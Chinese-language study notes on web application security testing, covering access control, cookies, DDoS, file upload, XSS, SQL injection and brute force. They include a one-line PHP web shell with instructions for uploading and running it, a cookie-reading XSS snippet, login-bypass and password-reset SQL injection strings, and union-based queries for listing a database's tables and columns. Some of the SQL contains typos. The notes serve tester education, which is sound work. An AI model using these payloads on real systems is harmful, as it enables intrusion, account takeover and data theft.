安全性测试
一、认证与授权
1、认证 即登录功能正常
2、权限 每个用户拥有正确的权限
3、避免未经授权的页面可以直接访问,通过认证和权限(session),对每个页面有一个判断。例如在知道一个页面的绝对url地址后,该页面有个session变量叫login-in,如果login-in为False时访问该页面跳转到登录页面,为True可正常访问。
4、在手动进行安全测试时,对所有url地址在不登录时直接访问
二、Session与Cookie
1、避免保存敏感信息到cookie文件中。如用户名、密码
2、作用域 不同应用系统不同作用域。下图中为单个应用系统,Path对应的是这个cookie的作用域,斜杠表示根目录,即该条cookeie作用域为整个应用系统。
Set-Cookie: access-token=LluyJIfAggsBH_woZgQAledLq3ZJzNwOD501WuvHNdjV5JthEWw; Path=/
三、DDOS拒绝服务攻击
1、向服务器疯狂发送请求,导致服务器崩溃,无法进行正常处理
2、肉鸡 远程控制多台电脑同时向服务器发请求
3、攻击联盟 与肉鸡同样的道理,达到分布式效果。由于请求都是真实的,但是请求量过大导致服务器崩溃。服务器无法通过禁用IP、防火墙来限制,最好的解决方式,增加服务器资源。
4、利用TCP建立连接的规则 TCP建立连接需要经历三次捂手的过程,简单描述为:①C-->S ② S-->C ③C-->S 如果三次握手成功则会建立稳定的TCP连接。根据这种规则,客户端模拟一个不存在IP地址向服务器发送TCP连接的请求,服务端在向客户端发起第二次握手时由于找不到IP地址,连接资源一直处于等待状态。连接数量过大时会导致服务器资源崩溃。
四、文件上传漏洞
1、文件上传的过滤:①通过后缀名过滤;②通过二进制来判断文件类型(防止修改后缀名);
2、修改服务器核心参数,禁止脚本引擎运行系统命令;
3、<?php system($_GET['cmd']); ?>
将该命令写一个php文件并上传,上传后直接点击php文件,如果在windows,http://127.0.0.1:8080/?cmd=dir 显示当前目录。如果不做限制,那么就能执行任意命令。
五、XSS跨站攻击
1、什么是跨站攻击:XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
2、如何写XSS脚本 对所有输入框做校验。
<input type="button" value="点击" onclick="document.getelementbyid('kw').value=document.cookie">
六、sql注入
1、最通用一个攻击手段,用于关系型数据库
3、通过SQL注入修改数据库的内容
4、php, asp, jsp, mysql, sqlserver, oracle, access都有不同的攻击方式
登录SQL注入举例:
在输入用户名密码后,一般系统会去数据库匹配校验,校验的可能sql猜想如下:
select * from user where username=‘$username’ and password=‘$password’
select username, password from user where username=‘$username’
if (count() == 1)
if (password=$password)
登录成功
如果为第一种最不安全的匹配方式,修改用户名:
$username=x' or userid=1 # '
替换第一条的username后语句变为:
select * from user where username=‘x' or userid=1 # ' and password=$password
#会将后面的password校验直接注释掉
修改用户密码:
$username=x' ; update user set password='123456' where userid=1 #'
替换第一条的username后语句变为:
select * from user where username=‘x' ; update user set password='123456' where userid=1 #' ’ and password=‘$password’
如果页面用户名输入框限制了用户输入长度,可使用工具跳过页面校验。
如果服务器端也没有进行校验,此时会更新userid=1的密码为123456。请求完成后,在页面用户名输入框输入x' or userid=1 # ',密码输入:123456,点击登录,如果登录成功,表示密码修改成功。如果没有登录成功, 可能的原因:①表名user猜错;②列名password、userid其中一个或两个猜错;③密码以加密保存。
对①②中情况,只能进行多次尝试,对③,先对123456进行md5加密后重新执行语句,然后再尝试:在页面用户名输入框输入x' or userid=1 # ',密码输入:123456,点击登录,如果登录成功,表示密码修改成功。
实现登录SQL注入条件:
1、服务器端没有对输入长度进行验证
2、需要对表名、列名、加密方式进行猜错(对自身系统,可直接查看)
利用url地址参数进行SQL注入:
如:http://localhost/phpwind/read.php?tid=9527
后端查询该条内容可能方式:select * from thread where tid=9527
通过以下三种方式进行SQL注入试探:
- tid=9527'
- tid=9527 and 1=2
- tid=9527 order by 10
如果以上三种试探页面返回对应SQL查询结果,则存在SQL注入漏洞。使用以下方式获取数据库表名和列名:
select * from thread where tid=9527 and 1=2 union select 1,2,3,4,5,6,7,8,9
上一条SQL分两个查询,union之前的查询结果列的数量需要和union之后查询的数量(9)相等。执行后,会在页面显示出可执行的其中一列的结果。在能显示出查询结果的列,输入:database()、user()获取数据库名、用户名。
如果列1为能显示查询结果的列,SQL如下:
select * from thread where tid=9527 and 1=2 union select database(),2,3,4,5,6,7,8,9 查询出数据库名:learn
select * from thread where tid=9527 and 1=2 union select user(),2,3,4,5,6,7,8,9 查询出用户名
select * from thread where tid=9527 and 1=2 union select table_name,2,3,4,5,6,7,8,9 from information_schem.tables where table_scheme='learn' limit 1,1(limit 1,1表示从第2条开始显示,一共只显示1条) 获取表名:user
select * from thread where tid=9527 and 1=2 union select column_name,2,3,4,5,6,7,8,9 from information_schem.columns where table_scheme='learn' and table_name='user' limit 1,1 获取user表的列名
到这一步,已经可以把数据库的所有数据抓取下来了。
七、暴力破解
顾名思义,暴力破解的原理就是使用攻击者自己的用户名和密码字典,一个一个去枚举,尝试是否能够登录。因为理论上来说,只要字典足够庞大,枚举总是能够成功的!
网上百度安全测试 暴力破解,基本都是Burp Suite的教程。